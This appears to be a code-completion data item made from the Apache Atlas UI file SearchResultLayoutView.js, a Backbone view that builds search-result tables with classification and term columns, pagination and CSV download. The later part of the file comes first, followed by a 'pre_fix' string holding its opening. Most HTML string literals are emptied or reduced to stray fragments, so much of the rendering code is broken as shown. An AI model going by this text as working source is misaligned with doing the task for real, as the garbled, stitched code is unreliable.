obj.attributes && obj.attributes.description) {\n return obj.attributes.description;\n }\n }\n })\n };\n\n\n col['typeName'] = {\n label: \"Type\",\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: true,\n renderable: (columnToShow ? _.includes(columnToShow, 'typeName') : true),\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.typeName) {\n return '' + obj.typeName + '';\n }\n }\n })\n };\n this.getTagCol({ 'col': col, 'columnToShow': columnToShow });\n if ((!_.includes([\"glossary\"], this.fromView))) {\n this.getTermCol({ 'col': col, 'columnToShow': columnToShow });\n }\n\n if (this.value && this.value.searchType === \"basic\") {\n var def = this.entityDefCollection.fullCollection.find({ name: this.value.type }),\n systemAttr = [],\n businessMetadataAttr = [],\n businessAttributes = {};\n if (this.value.type == \"_ALL_ENTITY_TYPES\") {\n this.businessMetadataDefCollection.each(function(model) {\n var sortedAttributes = model.get('attributeDefs') || null,\n name = model.get('name');\n if (sortedAttributes) {\n sortedAttributes = _.sortBy(sortedAttributes, function(obj) {\n return obj.name;\n });\n businessAttributes[name] = $.extend(true, {}, sortedAttributes);\n }\n })\n } else {\n businessAttributes = def ? ($.extend(true, {}, def.get('businessAttributeDefs')) || null) : null;\n }\n if (def || Globals[this.value.type] || (\n this.value.tag ?\n Globals[this.value.tag] ?\n Globals[this.value.tag] :\n Globals[Enums.addOnClassification[0]] :\n undefined)) {\n var attrObj = def ? Utils.getNestedSuperTypeObj({ data: def.toJSON(), collection: this.entityDefCollection, attrMerge: true }) : [];\n if (this.value.type && (Globals[this.value.type] || Globals[Enums.addOnEntities[0]])) {\n systemAttr = (Globals[this.value.type] || Globals[Enums.addOnEntities[0]]).attributeDefs;\n }\n if (this.value.tag && (Globals[this.value.tag] || Globals[Enums.addOnClassification[0]])) {\n systemAttr = (Globals[this.value.tag] || Globals[Enums.addOnClassification[0]]).attributeDefs;\n }\n attrObj = attrObj.concat(systemAttr);\n if (businessAttributes) {\n _.each(businessAttributes, function(businessMetadata, businessMetadataName) {\n _.each(businessMetadata, function(attr, index) {\n var attribute = attr;\n attribute.isBusinessAttributes = true;\n attribute.name = businessMetadataName + '.' + attribute.name;\n businessMetadataAttr.push(attribute);\n })\n })\n }\n attrObj = attrObj.concat(businessMetadataAttr);\n _.each(attrObj, function(obj, key) {\n var key = obj.name,\n isRenderable = _.includes(columnToShow, key),\n // isSortable = obj.typeName.search(/(array|map)/i) == -1, // commented : as sorting is required for all the columns except classifications and terms\n isSortable = obj.typeName.search(/(string|date|boolean|int|number|byte|float|long|double|short)/i) == 0, // commented : as sorting is required for all the columns except non-primitive types\n columnLabel;\n if (key == \"name\" || key == \"description\" || key == \"owner\") {\n if (columnToShow) {\n col[key].renderable = isRenderable;\n }\n return;\n }\n if (key == \"__historicalGuids\" || key == \"__classificationsText\" || key == \"__classificationNames\" || key == \"__propagatedClassificationNames\") {\n return;\n }\n columnLabel = Enums.systemAttributes[obj.name] ? Enums.systemAttributes[obj.name] : (_.escape(obj.isBusinessAttributes ? obj.name : obj.name.capitalize()));\n that.tableColumnsLabelMap[columnLabel] = obj.name;\n col[obj.name] = {\n label: columnLabel,\n cell: \"Html\",\n // headerCell: Backgrid.HeaderHTMLDecodeCell,\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: isSortable,\n renderable: isRenderable,\n headerClassName: obj.isBusinessAttributes ? \"no-capitalize\" : \"\",\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var modelObj = model.toJSON();\n if (modelObj && modelObj.attributes && !_.isUndefined(modelObj.attributes[key])) {\n var tempObj = {\n 'scope': that,\n 'attributeDefs': [obj],\n 'valueObject': {},\n 'isTable': false\n };\n if (key == \"__labels\") {\n var values = modelObj.attributes[key] ? modelObj.attributes[key].split(\"|\") : null,\n valueOfArray = [];\n if (values) {\n if (values[values.length - 1] === \"\") { values.pop(); }\n if (values[0] === \"\") { values.shift(); }\n _.each(values, function(names) {\n valueOfArray.push('' + _.escape(names) + '');\n });\n return valueOfArray.join(' ');\n }\n }\n if (key == \"__customAttributes\") {\n var customAttributes = modelObj.attributes[key] ? JSON.parse(modelObj.attributes[key]) : null,\n valueOfArray = [];\n if (customAttributes) {\n _.each(Object.keys(customAttributes), function(value, index) {\n valueOfArray.push('' + _.escape(value) + ' : ' + _.escape(Object.values(customAttributes)[index]) + '');\n });\n return valueOfArray.join(' ');\n }\n }\n tempObj.valueObject[key] = modelObj.attributes[key];\n tempObj['isEditorValue'] = that.checkIsEditorValue(key);\n var tablecolumn = CommonViewFunction.propertyTable(tempObj);\n if (_.isArray(modelObj.attributes[key])) {\n var column = $(\"
    \" + tablecolumn + \"
    \")\n if (tempObj.valueObject[key].length > 2) {\n column.addClass(\"toggleList semi-collapsed\").append(\"Show More\");\n }\n return column;\n }\n return tablecolumn;\n }\n }\n })\n };\n });\n }\n }\n }\n return this.searchCollection.constructor.getTableCols(col, this.searchCollection);\n },\n onClickLoadMore: function() {\n var that = this;\n this.$el.on('click', \"[data-id='load-more-columns']\", function(event) {\n event.stopPropagation();\n event.stopImmediatePropagation();\n var $this = $(this),\n $toggleList = $(this).parents('.toggleList');\n if ($toggleList.length) {\n if ($toggleList.hasClass('semi-collapsed')) {\n $toggleList.removeClass('semi-collapsed');\n $this.text(\"Show Less\");\n } else {\n $toggleList.addClass('semi-collapsed');\n $this.text(\"Show More\");\n }\n }\n });\n },\n getDaynamicColumns: function(valueObj) {\n var that = this,\n col = {};\n if (valueObj && valueObj.length) {\n var firstObj = _.first(valueObj);\n _.each(_.keys(firstObj), function(key) {\n col[key] = {\n label: key.capitalize(),\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var modelObj = model.toJSON();\n if (key == \"name\") {\n var nameHtml = \"\",\n name = _.escape(modelObj[key]);\n if (modelObj.guid) {\n nameHtml = '' + name + '';\n } else {\n nameHtml = '' + name + '';\n }\n if (modelObj.status && Enums.entityStateReadOnly[modelObj.status]) {\n nameHtml += '';\n return '
    ' + nameHtml + '
    ';\n }\n return nameHtml;\n } else if (modelObj && !_.isUndefined(modelObj[key])) {\n var tempObj = {\n 'scope': that,\n // 'attributeDefs':\n 'valueObject': {},\n 'isTable': false\n };\n tempObj['isEditorValue'] = that.checkIsEditorValue(key);\n tempObj.valueObject[key] = modelObj[key];\n return CommonViewFunction.propertyTable(tempObj);\n }\n }\n })\n };\n });\n }\n return this.searchCollection.constructor.getTableCols(col, this.searchCollection);\n },\n getTagCol: function(options) {\n var that = this,\n columnToShow = options.columnToShow,\n col = options.col;\n if (col) {\n col['tag'] = {\n label: \"Classifications\",\n cell: \"Html\",\n editable: false,\n sortable: false,\n resizeable: true,\n orderable: true,\n renderable: (columnToShow ? _.includes(columnToShow, 'tag') : true),\n className: 'searchTag',\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj.guid == \"-1\") {\n return\n }\n if (obj.status && Enums.entityStateReadOnly[obj.status]) {\n return '
    ' + CommonViewFunction.tagForTable(obj, that.classificationDefCollection); + '
    ';\n } else {\n return CommonViewFunction.tagForTable(obj, that.classificationDefCollection);\n }\n\n }\n })\n };\n }\n },\n getTermCol: function(options) {\n var that = this,\n columnToShow = options.columnToShow,\n col = options.col;\n if (col) {\n col['term'] = {\n label: \"Term\",\n cell: \"Html\",\n editable: false,\n sortable: false,\n resizeable: true,\n orderable: true,\n renderable: (columnToShow ? _.includes(columnToShow, 'term') : true),\n className: 'searchTag',\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj.guid == \"-1\") {\n return\n }\n if (obj.typeName && !(_.startsWith(obj.typeName, \"AtlasGlossary\"))) {\n if (obj.status && Enums.entityStateReadOnly[obj.status]) {\n return '
    ' + CommonViewFunction.termForTable(obj); + '
    ';\n } else {\n return CommonViewFunction.termForTable(obj);\n }\n }\n }\n })\n };\n }\n },\n addTagModalView: function(guid, multiple, entityCount) {\n var that = this;\n require(['views/tag/AddTagModalView'], function(AddTagModalView) {\n var view = new AddTagModalView({\n guid: guid,\n multiple: multiple,\n entityCount: entityCount,\n callback: function() {\n that.multiSelectEntity = [];\n that.fetchCollection();\n if (that.searchVent) {\n that.searchVent.trigger('entityList:refresh');\n }\n },\n tagList: that.getTagList(guid, multiple),\n showLoader: that.showLoader.bind(that),\n hideLoader: that.hideLoader.bind(that),\n collection: that.classificationDefCollection,\n enumDefCollection: that.enumDefCollection\n });\n });\n },\n getTagList: function(guid, multiple) {\n var that = this;\n if (!multiple || multiple.length === 0) {\n var model = this.searchCollection.find(function(item) {\n var obj = item.toJSON();\n if (obj.guid === guid) {\n return true;\n }\n });\n if (model) {\n var obj = model.toJSON();\n } else {\n return [];\n }\n return _.compact(_.map(obj.classifications, function(val) {\n if (val.entityGuid == guid) {\n return val.typeName\n }\n }));\n } else {\n return [];\n }\n },\n showLoader: function() {\n this.$('.fontLoader:not(.for-ignore)').addClass('show');\n this.$('.tableOverlay').addClass('show');\n },\n hideLoader: function(options) {\n this.$('.fontLoader:not(.for-ignore)').removeClass('show');\n options && options.type === 'error' ? this.$('.ellipsis-with-margin,.pagination-box').hide() : this.$('.ellipsis-with-margin,.pagination-box').show(); // only show for first time and hide when type is error\n this.$('.tableOverlay').removeClass('show');\n },\n onClickAddTag: function(e) {\n var guid = \"\",\n that = this,\n isTagMultiSelect = $(e.currentTarget).hasClass('multiSelectTag');\n if (isTagMultiSelect && this.multiSelectEntity && this.multiSelectEntity.length) {\n that.addTagModalView(guid, this.multiSelectEntity, this.activeEntityCountSelected);\n } else {\n guid = that.$(e.currentTarget).data(\"guid\");\n that.addTagModalView(guid);\n }\n },\n //This function checks for the lenght of Available terms and modal for adding terms is displayed accordingly.\n assignTermModalView: function(glossaryCollection, obj) {\n var that = this,\n terms = 0;\n _.each(glossaryCollection.fullCollection.models, function(model) {\n if (model.get('terms')) {\n terms += model.get('terms').length;\n };\n });\n if (terms) {\n require(['views/glossary/AssignTermLayoutView'], function(AssignTermLayoutView) {\n var view = new AssignTermLayoutView({\n guid: obj.guid,\n multiple: obj.multiple,\n associatedTerms: obj.associatedTerms,\n callback: function() {\n that.multiSelectEntity = [];\n that.fetchCollection();\n },\n glossaryCollection: glossaryCollection,\n });\n });\n } else {\n Utils.notifyInfo({\n content: \"There are no available terms\"\n });\n }\n },\n onClickAddTermBtn: function(e) {\n var that = this,\n guid = \"\",\n entityGuid = $(e.currentTarget).data(\"guid\"),\n obj = {\n guid: entityGuid,\n multiple: undefined,\n associatedTerms: undefined,\n },\n isTermMultiSelect = $(e.currentTarget).hasClass('multiSelectTerm');\n\n that.assignTermModalView(this.glossaryCollection, obj);\n if (isTermMultiSelect && this.multiSelectEntity && this.multiSelectEntity.length) {\n obj.multiple = this.multiSelectEntity;\n } else if (entityGuid) {\n obj.associatedTerms = this.searchCollection.find({ guid: entityGuid }).get('meanings');\n }\n },\n onClickTagCross: function(e) {\n var that = this,\n tagName = $(e.target).data(\"name\"),\n guid = $(e.target).data(\"guid\"),\n entityGuid = $(e.target).data(\"entityguid\"),\n assetName = $(e.target).data(\"assetname\");\n CommonViewFunction.deleteTag({\n tagName: tagName,\n guid: guid,\n associatedGuid: guid != entityGuid ? entityGuid : null,\n msg: \"
    Remove: \" + \"\" + _.escape(tagName) + \" assignment from \" + _.escape(assetName) + \" ?
    \",\n titleMessage: Messages.removeTag,\n okText: \"Remove\",\n showLoader: that.showLoader.bind(that),\n hideLoader: that.hideLoader.bind(that),\n callback: function() {\n that.fetchCollection();\n if (that.searchVent) {\n that.searchVent.trigger('entityList:refresh');\n }\n }\n });\n\n },\n onClickTermCross: function(e) {\n var $el = $(e.target),\n termGuid = $el.data('termguid'),\n guid = $el.data('guid'),\n termName = $(e.currentTarget).text(),\n assetname = $el.data('assetname'),\n meanings = this.searchCollection.find({ \"guid\": guid }).get(\"meanings\"),\n that = this,\n termObj = _.find(meanings, { termGuid: termGuid });\n CommonViewFunction.removeCategoryTermAssociation({\n termGuid: termGuid,\n model: {\n guid: guid,\n relationshipGuid: termObj.relationGuid\n },\n collection: that.glossaryCollection,\n msg: \"
    Remove: \" + \"\" + _.escape(termName) + \" assignment from \" + _.escape(assetname) + \"?
    \",\n titleMessage: Messages.glossary.removeTermfromEntity,\n isEntityView: true,\n buttonText: \"Remove\",\n callback: function() {\n that.fetchCollection();\n }\n });\n },\n onClicknextData: function() {\n this.offset = this.offset + this.limit;\n _.extend(this.searchCollection.queryParams, {\n offset: this.offset\n });\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n this.fetchCollection(null, {\n next: true\n });\n },\n onClickpreviousData: function() {\n this.offset = this.offset - this.limit;\n if (this.offset <= -1) {\n this.offset = 0;\n }\n _.extend(this.searchCollection.queryParams, {\n offset: this.offset\n });\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n this.fetchCollection(null, {\n previous: true\n });\n },\n onClickCreateEntity: function(e) {\n var that = this;\n $(e.currentTarget).blur();\n require([\n 'views/entity/CreateEntityLayoutView'\n ], function(CreateEntityLayoutView) {\n var view = new CreateEntityLayoutView({\n entityDefCollection: that.entityDefCollection,\n typeHeaders: that.typeHeaders,\n searchVent: that.searchVent,\n callback: function() {\n that.fetchCollection();\n }\n });\n });\n },\n onCheckExcludeIncludeResult: function(e) {\n var flag = false,\n val = $(e.currentTarget).attr('data-value');\n if (e.target.checked) {\n flag = true;\n }\n if (this.value) {\n this.value[val] = flag;\n this.triggerUrl({ mergeBrowserUrl: true });\n }\n _.extend(this.searchCollection.queryParams, { limit: this.limit, offset: this.offset });\n this.fetchCollection();\n\n },\n onDownloadSearchResults: function() {\n this.generateAttributeLabelMap();\n Utils.disableRefreshButton(this.ui.downloadResults, this);\n if (this.value.searchType !== \"basic\") {\n this.downloadSearchResultsParams.searchParameters = {\n \"limit\": this.limit,\n \"offset\": this.offset,\n \"query\": this.value.query || null,\n \"typeName\": this.value.type || null\n };\n delete this.downloadSearchResultsParams.attributeLabelMap;\n }\n var apiObj = {\n sort: false,\n data: this.downloadSearchResultsParams,\n success: function(model, response) {\n Utils.notifySuccess({\n content: \"The current search results have been enqueued for download. You can access the csv file by clicking the large arrow icon at the top of the page.\"\n });\n },\n reset: true,\n complete: function() {},\n error: function(error) {}\n }\n this.downloadSearchResults.startDownloading(apiObj);\n },\n changePageLimit: function(e, obj) {\n if (!obj || (obj && !obj.skipViewChange)) {\n var limit = parseInt(this.ui.showPage.val());\n if (limit == 0) {\n this.ui.showPage.data('select2').$container.addClass('has-error');\n return;\n } else {\n this.ui.showPage.data('select2').$container.removeClass('has-error');\n }\n this.limit = limit;\n this.offset = 0;\n if (this.value) {\n this.value.pageLimit = this.limit;\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n _.extend(this.searchCollection.queryParams, { limit: this.limit, offset: this.offset });\n this.fetchCollection();\n }\n },\n gotoPagebtn: function(e) {\n var that = this;\n var goToPage = parseInt(this.ui.gotoPage.val());\n if (!(_.isNaN(goToPage) || goToPage <= -1)) {\n if (this.finalPage && this.finalPage < goToPage) {\n Utils.notifyInfo({\n html: true,\n content: Messages.search.noRecordForPage + '' + Utils.getNumberSuffix({ number: goToPage, sup: true }) + ' page'\n });\n return;\n }\n this.offset = (goToPage - 1) * this.limit;\n if (this.offset <= -1) {\n this.offset = 0;\n }\n _.extend(this.searchCollection.queryParams, { limit: this.limit, offset: this.offset });\n if (this.offset == (this.pageFrom - 1)) {\n Utils.notifyInfo({\n content: Messages.search.onSamePage\n });\n } else {\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n // this.offset is updated in gotoPagebtn function so use next button calculation.\n this.fetchCollection(null, { 'next': true });\n }\n }\n }\n });\n return SearchResultLayoutView;\n});" +pre_fix = "], function(require, Backbone, tableDragger, SearchResultLayoutViewTmpl, Modal, VEntity, Utils, Globals, VSearchList, VCommon, CommonViewFunction, Messages, Enums, UrlLinks, platform, VDownloadList) {\n 'use strict';\n\n var SearchResultLayoutView = Backbone.Marionette.LayoutView.extend(\n /** @lends SearchResultLayoutView */\n {\n _viewName: 'SearchResultLayoutView',\n\n template: SearchResultLayoutViewTmpl,\n\n /** Layout sub regions */\n regions: {\n RTagLayoutView: \"#r_tagLayoutView\",\n RSearchLayoutView: \"#r_searchLayoutView\",\n REntityTableLayoutView: \"#r_searchResultTableLayoutView\",\n RSearchQuery: '#r_searchQuery'\n },\n\n /** ui selector cache */\n ui: {\n tagClick: '[data-id=\"tagClick\"]',\n termClick: '[data-id=\"termClick\"]',\n addTag: '[data-id=\"addTag\"]',\n addTerm: '[data-id=\"addTerm\"]',\n paginationDiv: '[data-id=\"paginationDiv\"]',\n previousData: \"[data-id='previousData']\",\n nextData: \"[data-id='nextData']\",\n pageRecordText: \"[data-id='pageRecordText']\",\n addAssignTag: \"[data-id='addAssignTag']\",\n addAssignTerm: \"[data-id='addAssignTerm']\",\n createEntity: \"[data-id='createEntity']\",\n checkDeletedEntity: \"[data-id='checkDeletedEntity']\",\n checkSubClassification: \"[data-id='checkSubClassification']\",\n checkSubType: \"[data-id='checkSubType']\",\n colManager: \"[data-id='colManager']\",\n containerCheckBox: \"[data-id='containerCheckBox']\",\n columnEmptyInfo: \"[data-id='columnEmptyInfo']\",\n showPage: \"[data-id='showPage']\",\n gotoPage: \"[data-id='gotoPage']\",\n gotoPagebtn: \"[data-id='gotoPagebtn']\",\n activePage: \"[data-id='activePage']\",\n excludeSubtypes: \".exclude-subtypes\",\n excludeSubClassifications: \".exclude-subclassifications\",\n downloadResults: \"[data-id='downloadSearchResult']\"\n },\n templateHelpers: function() {\n return {\n entityCreate: Globals.entityCreate,\n searchType: this.searchType,\n fromView: this.fromView,\n isGlossaryView: this.fromView == \"glossary\",\n isSearchTab: Utils.getUrlState.isSearchTab(),\n isProfileDBView: this.options.profileDBView\n };\n },\n /** ui events hash */\n events: function() {\n var events = {},\n that = this;\n events[\"click \" + this.ui.tagClick] = function(e) {\n var scope = $(e.currentTarget);\n if (e.target.nodeName.toLocaleLowerCase() == \"i\") {\n this.onClickTagCross(e);\n } else {\n this.triggerUrl({\n url: '#!/tag/tagAttribute/' + scope.text().split('@')[0],\n urlParams: null,\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: null\n });\n }\n };\n events[\"click \" + this.ui.termClick] = function(e) {\n var scope = $(e.currentTarget);\n if (e.target.nodeName.toLocaleLowerCase() == \"i\") {\n this.onClickTermCross(e);\n } else {\n this.triggerUrl({\n url: '#!/glossary/' + scope.find('i').data('termguid'),\n urlParams: { gType: \"term\", viewType: \"term\", fromView: \"entity\" },\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: null\n });\n }\n };\n events[\"keyup \" + this.ui.gotoPage] = function(e) {\n var code = e.which,\n goToPage = parseInt(e.currentTarget.value);\n if (e.currentTarget.value) {\n that.ui.gotoPagebtn.attr('disabled', false);\n } else {\n that.ui.gotoPagebtn.attr('disabled', true);\n }\n if (code == 13) {\n if (e.currentTarget.value) {\n that.gotoPagebtn();\n }\n }\n };\n events[\"change \" + this.ui.showPage] = 'changePageLimit';\n events[\"click \" + this.ui.gotoPagebtn] = 'gotoPagebtn';\n events[\"click \" + this.ui.addTag] = 'onClickAddTag';\n events[\"click \" + this.ui.addTerm] = 'onClickAddTermBtn';\n events[\"click \" + this.ui.addAssignTag] = 'onClickAddTag';\n events[\"click \" + this.ui.addAssignTerm] = 'onClickAddTermBtn';\n events[\"click \" + this.ui.nextData] = \"onClicknextData\";\n events[\"click \" + this.ui.previousData] = \"onClickpreviousData\";\n events[\"click \" + this.ui.createEntity] = 'onClickCreateEntity';\n events[\"click \" + this.ui.checkDeletedEntity] = 'onCheckExcludeIncludeResult';\n events[\"click \" + this.ui.checkSubClassification] = 'onCheckExcludeIncludeResult';\n events[\"click \" + this.ui.checkSubType] = 'onCheckExcludeIncludeResult';\n events[\"click \" + this.ui.downloadResults] = 'onDownloadSearchResults';\n return events;\n },\n /**\n * intialize a new SearchResultLayoutView Layout\n * @constructs\n */\n initialize: function(options) {\n _.extend(this, _.pick(options, 'value', 'guid', 'initialView', 'isTypeTagNotExists', 'classificationDefCollection', 'entityDefCollection', 'typeHeaders', 'searchVent', 'enumDefCollection', 'tagCollection', 'searchTableColumns', 'isTableDropDisable', 'fromView', 'glossaryCollection', 'termName', 'businessMetadataDefCollection', 'profileDBView', 'exportVent'));\n this.entityModel = new VEntity();\n this.searchCollection = new VSearchList();\n this.downloadSearchResults = new VDownloadList();\n this.limit = 25;\n this.asyncFetchCounter = 0;\n this.offset = 0;\n this.bindEvents();\n this.multiSelectEntity = [];\n this.activeEntityCountSelected = 0;\n this.searchType = 'Basic Search';\n this.tableColumnsLabelMap = {};\n this.downloadSearchResultsParams = {\n searchParameters: {},\n attributeLabelMap: {}\n };\n this.columnOrder = null;\n this.defaultColumns = [\"selected\", \"name\", \"description\", \"typeName\", \"owner\", \"tag\", \"term\"];\n if (this.value) {\n if (this.value.searchType && this.value.searchType == 'dsl') {\n this.searchType = 'Advanced Search';\n }\n if (this.value.pageLimit) {\n var pageLimit = parseInt(this.value.pageLimit, 10);\n if (_.isNaN(pageLimit) || pageLimit == 0 || pageLimit <= -1) {\n this.value.pageLimit = this.limit;\n this.triggerUrl();\n } else {\n this.limit = pageLimit;\n }\n }\n if (this.value.pageOffset) {\n var pageOffset = parseInt(this.value.pageOffset, 10);\n if (_.isNaN(pageOffset) || pageLimit <= -1) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n } else {\n this.offset = pageOffset;\n }\n }\n };\n if (platform.name === \"IE\") {\n this.isTableDropDisable = true;\n }\n this.businessMetadataAttributes = [];\n },\n bindEvents: function() {\n var that = this;\n this.onClickLoadMore();\n this.listenTo(this.searchCollection, 'backgrid:selected', function(model, checked) {\n this.multiSelectEntity = [];\n that.activeEntityCountSelected = 0;\n if (checked === true) {\n model.set(\"isEnable\", true);\n } else {\n model.set(\"isEnable\", false);\n }\n this.searchCollection.find(function(item) {\n if (item.get('isEnable')) {\n var obj = item.toJSON();\n if (item.get('status') === 'ACTIVE') {\n that.activeEntityCountSelected++;\n }\n that.multiSelectEntity.push({\n id: obj.guid,\n model: obj\n });\n }\n });\n this.updateMultiSelect();\n });\n this.listenTo(this.searchCollection, \"error\", function(model, response) {\n this.hideLoader({ type: 'error' });\n if (response.readyState === 0) {\n Utils.notifyError({\n content: \"Request aborted\"\n });\n return;\n }\n var responseJSON = response && response.responseJSON ? response.responseJSON : null,\n errorText = (responseJSON && (responseJSON.errorMessage || responseJSON.message || responseJSON.error || responseJSON.msgDesc)) || 'Something went wrong';\n if (errorText) {\n Utils.notifyError({\n content: errorText\n });\n this.$('.searchTable > .well').html('
    ' + _.escape(errorText) + '
    ')\n }\n }, this);\n this.listenTo(this.searchCollection, \"state-changed\", function(state) {\n if (Utils.getUrlState.isSearchTab()) {\n this.updateColumnList(state);\n var excludeDefaultColumn = [];\n if (this.value && this.value.type) {\n excludeDefaultColumn = _.difference(this.searchTableColumns[this.value.type], this.defaultColumns);\n if (this.searchTableColumns[this.value.type] === null) {\n this.ui.columnEmptyInfo.show();\n } else {\n this.ui.columnEmptyInfo.hide();\n }\n }\n this.downloadSearchResultsParams.searchParameters.attributes = excludeDefaultColumn;\n this.validateAttributeLabelMap();\n this.columnOrder = this.getColumnOrder(this.REntityTableLayoutView.$el.find('.colSort th.renderable'));\n this.triggerUrl();\n var attributes = this.searchCollection.filterObj.attributes;\n if ((excludeDefaultColumn && attributes) && (excludeDefaultColumn.length > attributes.length || _.difference(excludeDefaultColumn, attributes).length)) {\n this.fetchCollection(this.value);\n }\n }\n }, this);\n this.listenTo(this.searchVent, \"search:refresh\", function(model, response) {\n this.updateColumnList();\n this.fetchCollection();\n }, this);\n this.listenTo(this.searchCollection, \"backgrid:sorted\", function(model, response) {\n this.checkTableFetch();\n }, this)\n },\n onRender: function() {\n var that = this;\n this.checkEntityImage = {};\n this.commonTableOptions = {\n collection: this.searchCollection,\n includePagination: false,\n includeFooterRecords: false,\n includeColumnManager: (Utils.getUrlState.isSearchTab() && this.value && this.value.searchType === \"basic\" && !this.profileDBView ? true : false),\n includeOrderAbleColumns: false,\n includeSizeAbleColumns: false,\n includeTableLoader: false,\n includeAtlasTableSorting: true,\n showDefaultTableSorted: true,\n updateFullCollectionManually: true,\n columnOpts: {\n opts: {\n initialColumnsVisible: null,\n saveState: false\n },\n visibilityControlOpts: {\n buttonTemplate: _.template(\"\")\n },\n el: this.ui.colManager\n },\n gridOpts: {\n emptyText: 'No Records found!',\n className: 'table table-hover backgrid table-quickMenu colSort'\n },\n sortOpts: {\n sortColumn: \"name\",\n sortDirection: \"ascending\"\n },\n filterOpts: {},\n paginatorOpts: {}\n };\n if (!this.initialView) {\n var value = {},\n that = this;\n if (this.value) {\n value = this.value;\n if (value && value.includeDE) {\n this.ui.checkDeletedEntity.prop('checked', true);\n }\n if (value && value.excludeSC) {\n this.ui.checkSubClassification.prop('checked', true);\n }\n if (value && value.excludeST) {\n this.ui.checkSubType.prop('checked', true);\n }\n\n } else {\n value = {\n 'query': null,\n 'searchType': 'basic'\n };\n }\n this.updateColumnList();\n if (this.value && this.searchTableColumns && this.searchTableColumns[this.value.type] === null) {\n this.ui.columnEmptyInfo.show();\n } else {\n this.ui.columnEmptyInfo.hide();\n }\n this.fetchCollection(value, _.extend({ 'fromUrl': true }, (this.value && this.value.pageOffset ? { 'next': true } : null)));\n this.ui.showPage.select2({\n data: _.sortBy(_.union([25, 50, 100, 150, 200, 250, 300, 350, 400, 450, 500], [this.limit])),\n tags: true,\n dropdownCssClass: \"number-input\",\n multiple: false\n });\n if (this.value && this.value.pageLimit) {\n this.ui.showPage.val(this.limit).trigger('change', { \"skipViewChange\": true });\n }\n } else {\n if (Globals.entityTypeConfList) {\n this.$(\".entityLink\").show();\n }\n if (this.isTypeTagNotExists) {\n Utils.notifyError({\n content: Messages.search.notExists\n });\n }\n }\n },\n getColumnOrderWithPosition: function() {\n var that = this;\n return _.map(that.columnOrder, function(value, key) {\n return key + \"::\" + value;\n }).join(\",\");\n },\n triggerUrl: function(options) {\n Utils.setUrl(_.extend({\n url: Utils.getUrlState.getQueryUrl().queyParams[0],\n urlParams: this.columnOrder ? _.extend(this.value, { 'uiParameters': this.getColumnOrderWithPosition() }) : this.value,\n mergeBrowserUrl: Utils.getUrlState.isGlossaryTab()?true:false,\n trigger: false,\n updateTabState: true\n }, options));\n },\n updateMultiSelect: function() {\n var addTermTagButton = this.$('.multiSelectTag,.multiSelectTerm');\n if (this.activeEntityCountSelected > 0) {\n addTermTagButton.show();\n } else {\n addTermTagButton.hide();\n }\n },\n updateColumnList: function(updatedList) {\n if (updatedList) {\n var listOfColumns = [];\n _.map(updatedList, function(obj) {\n var key = obj.name;\n if (obj.renderable) {\n listOfColumns.push(obj.name);\n }\n });\n listOfColumns = _.sortBy(listOfColumns);\n this.value.attributes = listOfColumns.length ? listOfColumns.join(\",\") : null;\n if (this.value && (this.value.type || this.value.tag) && this.searchTableColumns) {\n this.searchTableColumns[this.value.type || this.value.tag] = listOfColumns.length ? listOfColumns : null;\n }\n } else if (this.value && (this.value.type || this.value.tag) && this.searchTableColumns && this.value.attributes) {\n this.searchTableColumns[this.value.type || this.value.tag] = this.value.attributes.split(\",\");\n }\n },\n fetchCollection: function(value, options) {\n var that = this,\n isPostMethod = (this.value && this.value.searchType === \"basic\"),\n isSearchTab = Utils.getUrlState.isSearchTab(),\n tagFilters = null,\n entityFilters = null;\n that.activeEntityCountSelected = 0;\n that.updateMultiSelect();\n if (isSearchTab) {\n tagFilters = CommonViewFunction.attributeFilter.generateAPIObj(this.value.tagFilters);\n entityFilters = CommonViewFunction.attributeFilter.generateAPIObj(this.value.entityFilters);\n }\n\n if (isPostMethod && isSearchTab) {\n var excludeDefaultColumn = ((this.value.type || this.value.tag) && this.searchTableColumns) ? _.difference(this.searchTableColumns[this.value.type || this.value.tag], this.defaultColumns) : null,\n filterObj = {\n 'entityFilters': entityFilters,\n 'tagFilters': tagFilters,\n 'attributes': excludeDefaultColumn ? excludeDefaultColumn : null\n };\n }\n\n this.showLoader();\n if (Globals.searchApiCallRef && Globals.searchApiCallRef.readyState === 1) {\n Globals.searchApiCallRef.abort();\n }\n var apiObj = {\n skipDefaultError: true,\n sort: false,\n success: function(dataOrCollection, response) {\n if (that.isDestroyed) {\n return;\n }\n Globals.searchApiCallRef = undefined;\n var isFirstPage = that.offset === 0,\n dataLength = 0,\n goToPage = that.ui.gotoPage.val();\n that.ui.gotoPage.val('');\n that.ui.gotoPage.parent().removeClass('has-error');\n that.ui.gotoPagebtn.prop(\"disabled\", true);\n if (!(that.ui.pageRecordText instanceof jQuery)) {\n return;\n }\n if (isPostMethod && dataOrCollection && dataOrCollection.entities) {\n dataLength = dataOrCollection.entities.length;\n } else {\n dataLength = dataOrCollection.length;\n }\n\n if (!dataLength && that.offset >= that.limit && ((options && options.next) || goToPage) && (options && !options.fromUrl)) {\n /* User clicks on next button and server returns\n empty response then disabled the next button without rendering table*/\n\n that.hideLoader();\n var pageNumber = that.activePage + 1;\n if (goToPage) {\n pageNumber = goToPage;\n that.offset = (that.activePage - 1) * that.limit;\n } else {\n that.finalPage = that.activePage;\n that.ui.nextData.attr('disabled', true);\n that.offset = that.offset - that.limit;\n }\n if (that.value) {\n that.value.pageOffset = that.offset;\n 